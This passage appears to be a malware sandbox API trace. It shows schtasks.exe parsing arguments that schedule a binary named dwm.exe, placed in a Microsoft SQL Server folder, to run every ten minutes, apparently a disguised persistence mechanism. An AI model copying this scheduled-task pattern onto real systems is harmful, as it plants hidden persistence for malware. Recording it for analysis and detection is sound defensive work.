0xd372d68000 [0107.300] lstrlenW (lpString="/sc") returned 3 [0107.300] GetProcessHeap () returned 0x277e2100000 [0107.300] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x8) returned 0x277e2103b70 [0107.300] GetProcessHeap () returned 0x277e2100000 [0107.300] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b680 [0107.300] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.300] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.300] lstrlenW (lpString="MINUTE") returned 6 [0107.300] lstrlenW (lpString="-/") returned 2 [0107.300] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0107.300] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.300] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.300] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.300] lstrlenW (lpString="MINUTE") returned 6 [0107.300] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0107.300] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.300] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.300] lstrlenW (lpString="MINUTE") returned 6 [0107.300] GetProcessHeap () returned 0x277e2100000 [0107.300] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0xe) returned 0x277e210a6f0 [0107.300] GetProcessHeap () returned 0x277e2100000 [0107.300] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b380 [0107.300] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.300] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.300] lstrlenW (lpString="/mo") returned 3 [0107.300] lstrlenW (lpString="-/") returned 2 [0107.300] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0107.300] lstrlenW (lpString="?") returned 1 [0107.300] lstrlenW (lpString="?") returned 1 [0107.300] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.300] lstrlenW (lpString="mo") returned 2 [0107.300] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.300] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|?|") returned 3 [0107.300] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|mo|") returned 4 [0107.300] lstrlenW (lpString="|?|") returned 3 [0107.300] lstrlenW (lpString="|mo|") returned 4 [0107.300] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.300] lstrlenW (lpString="create") returned 6 [0107.301] lstrlenW (lpString="create") returned 6 [0107.301] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.301] lstrlenW (lpString="mo") returned 2 [0107.301] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.301] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|create|") returned 8 [0107.301] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|mo|") returned 4 [0107.301] lstrlenW (lpString="|create|") returned 8 [0107.301] lstrlenW (lpString="|mo|") returned 4 [0107.301] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0107.301] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.301] lstrlenW (lpString="delete") returned 6 [0107.301] lstrlenW (lpString="delete") returned 6 [0107.301] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.301] lstrlenW (lpString="mo") returned 2 [0107.301] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.301] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|delete|") returned 8 [0107.301] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|mo|") returned 4 [0107.301] lstrlenW (lpString="|delete|") returned 8 [0107.301] lstrlenW (lpString="|mo|") returned 4 [0107.301] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0107.301] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.301] lstrlenW (lpString="query") returned 5 [0107.301] lstrlenW (lpString="query") returned 5 [0107.301] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.301] lstrlenW (lpString="mo") returned 2 [0107.301] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.301] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x8, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|query|") returned 7 [0107.301] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|mo|") returned 4 [0107.301] lstrlenW (lpString="|query|") returned 7 [0107.301] lstrlenW (lpString="|mo|") returned 4 [0107.301] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0107.301] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.302] lstrlenW (lpString="change") returned 6 [0107.302] lstrlenW (lpString="change") returned 6 [0107.302] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.302] lstrlenW (lpString="mo") returned 2 [0107.302] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.302] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|change|") returned 8 [0107.302] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|mo|") returned 4 [0107.302] lstrlenW (lpString="|change|") returned 8 [0107.302] lstrlenW (lpString="|mo|") returned 4 [0107.302] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0107.302] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.302] lstrlenW (lpString="run") returned 3 [0107.302] lstrlenW (lpString="run") returned 3 [0107.302] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.302] lstrlenW (lpString="mo") returned 2 [0107.302] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.302] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|run|") returned 5 [0107.302] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|mo|") returned 4 [0107.302] lstrlenW (lpString="|run|") returned 5 [0107.302] lstrlenW (lpString="|mo|") returned 4 [0107.302] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0107.302] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.302] lstrlenW (lpString="end") returned 3 [0107.302] lstrlenW (lpString="end") returned 3 [0107.302] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.302] lstrlenW (lpString="mo") returned 2 [0107.302] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.302] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|end|") returned 5 [0107.302] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|mo|") returned 4 [0107.302] lstrlenW (lpString="|end|") returned 5 [0107.302] lstrlenW (lpString="|mo|") returned 4 [0107.302] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0107.303] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.303] lstrlenW (lpString="showsid") returned 7 [0107.303] lstrlenW (lpString="showsid") returned 7 [0107.303] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.303] lstrlenW (lpString="mo") returned 2 [0107.303] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.303] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0xa, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|showsid|") returned 9 [0107.303] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|mo|") returned 4 [0107.303] lstrlenW (lpString="|showsid|") returned 9 [0107.303] lstrlenW (lpString="|mo|") returned 4 [0107.303] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0107.303] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.303] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.303] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.303] lstrlenW (lpString="/mo") returned 3 [0107.303] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0107.303] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.303] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.303] lstrlenW (lpString="/mo") returned 3 [0107.303] GetProcessHeap () returned 0x277e2100000 [0107.303] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x8) returned 0x277e2103b90 [0107.303] GetProcessHeap () returned 0x277e2100000 [0107.303] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b920 [0107.303] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.303] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.303] lstrlenW (lpString="10") returned 2 [0107.303] lstrlenW (lpString="-/") returned 2 [0107.303] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0107.303] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.303] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.303] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.303] lstrlenW (lpString="10") returned 2 [0107.303] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0107.303] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.303] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.304] lstrlenW (lpString="10") returned 2 [0107.304] GetProcessHeap () returned 0x277e2100000 [0107.304] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x6) returned 0x277e2103bb0 [0107.304] GetProcessHeap () returned 0x277e2100000 [0107.304] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b7d0 [0107.304] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.304] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.304] lstrlenW (lpString="/tr") returned 3 [0107.304] lstrlenW (lpString="-/") returned 2 [0107.304] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0107.304] lstrlenW (lpString="?") returned 1 [0107.304] lstrlenW (lpString="?") returned 1 [0107.304] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.304] lstrlenW (lpString="tr") returned 2 [0107.304] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.304] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|?|") returned 3 [0107.304] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tr|") returned 4 [0107.304] lstrlenW (lpString="|?|") returned 3 [0107.304] lstrlenW (lpString="|tr|") returned 4 [0107.304] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.304] lstrlenW (lpString="create") returned 6 [0107.304] lstrlenW (lpString="create") returned 6 [0107.304] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.304] lstrlenW (lpString="tr") returned 2 [0107.304] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.304] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|create|") returned 8 [0107.304] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tr|") returned 4 [0107.304] lstrlenW (lpString="|create|") returned 8 [0107.304] lstrlenW (lpString="|tr|") returned 4 [0107.304] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0107.304] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.304] lstrlenW (lpString="delete") returned 6 [0107.304] lstrlenW (lpString="delete") returned 6 [0107.304] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.305] lstrlenW (lpString="tr") returned 2 [0107.305] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.305] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|delete|") returned 8 [0107.305] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tr|") returned 4 [0107.305] lstrlenW (lpString="|delete|") returned 8 [0107.305] lstrlenW (lpString="|tr|") returned 4 [0107.305] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0107.305] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.305] lstrlenW (lpString="query") returned 5 [0107.305] lstrlenW (lpString="query") returned 5 [0107.305] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.305] lstrlenW (lpString="tr") returned 2 [0107.305] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.305] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x8, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|query|") returned 7 [0107.305] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tr|") returned 4 [0107.305] lstrlenW (lpString="|query|") returned 7 [0107.305] lstrlenW (lpString="|tr|") returned 4 [0107.305] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0107.305] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.305] lstrlenW (lpString="change") returned 6 [0107.305] lstrlenW (lpString="change") returned 6 [0107.305] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.305] lstrlenW (lpString="tr") returned 2 [0107.305] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.305] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|change|") returned 8 [0107.305] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tr|") returned 4 [0107.305] lstrlenW (lpString="|change|") returned 8 [0107.305] lstrlenW (lpString="|tr|") returned 4 [0107.305] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0107.305] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.305] lstrlenW (lpString="run") returned 3 [0107.305] lstrlenW (lpString="run") returned 3 [0107.305] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.306] lstrlenW (lpString="tr") returned 2 [0107.306] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.306] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|run|") returned 5 [0107.306] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tr|") returned 4 [0107.306] lstrlenW (lpString="|run|") returned 5 [0107.306] lstrlenW (lpString="|tr|") returned 4 [0107.306] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0107.306] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.306] lstrlenW (lpString="end") returned 3 [0107.306] lstrlenW (lpString="end") returned 3 [0107.306] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.306] lstrlenW (lpString="tr") returned 2 [0107.306] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.306] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|end|") returned 5 [0107.306] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tr|") returned 4 [0107.306] lstrlenW (lpString="|end|") returned 5 [0107.306] lstrlenW (lpString="|tr|") returned 4 [0107.306] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0107.306] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.306] lstrlenW (lpString="showsid") returned 7 [0107.306] lstrlenW (lpString="showsid") returned 7 [0107.306] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.306] lstrlenW (lpString="tr") returned 2 [0107.306] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.306] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0xa, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|showsid|") returned 9 [0107.306] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|tr|") returned 4 [0107.306] lstrlenW (lpString="|showsid|") returned 9 [0107.306] lstrlenW (lpString="|tr|") returned 4 [0107.306] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0107.306] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.307] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.307] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.307] lstrlenW (lpString="/tr") returned 3 [0107.307] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0107.307] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.307] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.307] lstrlenW (lpString="/tr") returned 3 [0107.307] GetProcessHeap () returned 0x277e2100000 [0107.307] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x8) returned 0x277e2103bd0 [0107.307] GetProcessHeap () returned 0x277e2100000 [0107.307] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b500 [0107.307] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.307] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.307] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0107.307] lstrlenW (lpString="-/") returned 2 [0107.307] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0107.307] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.307] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.307] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.307] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0107.307] StrChrIW (lpStart="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'", wMatch=0x3a) returned=":\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'" [0107.307] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0107.307] GetProcessHeap () returned 0x277e2100000 [0107.307] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x18) returned 0x277e210a670 [0107.307] _memicmp (_Buf1=0x277e210a670, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.307] GetProcessHeap () returned 0x277e2100000 [0107.307] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0xe) returned 0x277e210a710 [0107.307] GetProcessHeap () returned 0x277e2100000 [0107.307] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x18) returned 0x277e210a550 [0107.307] _memicmp (_Buf1=0x277e210a550, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.307] GetProcessHeap () returned 0x277e2100000 [0107.307] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x78) returned 0x277e2103bf0 [0107.308] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.308] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.308] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.308] lstrlenW (lpString="'C") returned 2 [0107.308] lstrlenW (lpString="-/") returned 2 [0107.308] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0107.308] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.308] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.308] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.308] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0107.308] GetProcessHeap () returned 0x277e2100000 [0107.308] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x76) returned 0x277e210bcc0 [0107.308] GetProcessHeap () returned 0x277e2100000 [0107.308] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b6b0 [0107.308] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.308] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.308] lstrlenW (lpString="/rl") returned 3 [0107.308] lstrlenW (lpString="-/") returned 2 [0107.308] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0107.308] lstrlenW (lpString="?") returned 1 [0107.308] lstrlenW (lpString="?") returned 1 [0107.308] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.308] lstrlenW (lpString="rl") returned 2 [0107.308] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.308] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|?|") returned 3 [0107.308] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|rl|") returned 4 [0107.308] lstrlenW (lpString="|?|") returned 3 [0107.308] lstrlenW (lpString="|rl|") returned 4 [0107.308] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.308] lstrlenW (lpString="create") returned 6 [0107.308] lstrlenW (lpString="create") returned 6 [0107.308] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.308] lstrlenW (lpString="rl") returned 2 [0107.308] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.309] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|create|") returned 8 [0107.309] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|rl|") returned 4 [0107.309] lstrlenW (lpString="|create|") returned 8 [0107.309] lstrlenW (lpString="|rl|") returned 4 [0107.309] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0107.311] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.311] lstrlenW (lpString="delete") returned 6 [0107.311] lstrlenW (lpString="delete") returned 6 [0107.311] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.311] lstrlenW (lpString="rl") returned 2 [0107.311] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.311] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|delete|") returned 8 [0107.311] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|rl|") returned 4 [0107.311] lstrlenW (lpString="|delete|") returned 8 [0107.311] lstrlenW (lpString="|rl|") returned 4 [0107.311] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0107.311] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.311] lstrlenW (lpString="query") returned 5 [0107.311] lstrlenW (lpString="query") returned 5 [0107.311] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.312] lstrlenW (lpString="rl") returned 2 [0107.312] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.312] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x8, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|query|") returned 7 [0107.312] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|rl|") returned 4 [0107.312] lstrlenW (lpString="|query|") returned 7 [0107.312] lstrlenW (lpString="|rl|") returned 4 [0107.312] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0107.312] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.312] lstrlenW (lpString="change") returned 6 [0107.312] lstrlenW (lpString="change") returned 6 [0107.312] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.312] lstrlenW (lpString="rl") returned 2 [0107.312] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.312] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|change|") returned 8 [0107.312] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|rl|") returned 4 [0107.312] lstrlenW (lpString="|change|") returned 8 [0107.312] lstrlenW (lpString="|rl|") returned 4 [0107.312] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0107.312] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.312] lstrlenW (lpString="run") returned 3 [0107.312] lstrlenW (lpString="run") returned 3 [0107.312] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.312] lstrlenW (lpString="rl") returned 2 [0107.312] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.312] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|run|") returned 5 [0107.312] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|rl|") returned 4 [0107.312] lstrlenW (lpString="|run|") returned 5 [0107.312] lstrlenW (lpString="|rl|") returned 4 [0107.312] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0107.312] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.312] lstrlenW (lpString="end") returned 3 [0107.313] lstrlenW (lpString="end") returned 3 [0107.313] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.313] lstrlenW (lpString="rl") returned 2 [0107.313] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.313] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|end|") returned 5 [0107.313] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9f7b8 | out: _Buffer="|rl|") returned 4 [0107.313] lstrlenW (lpString="|end|") returned 5 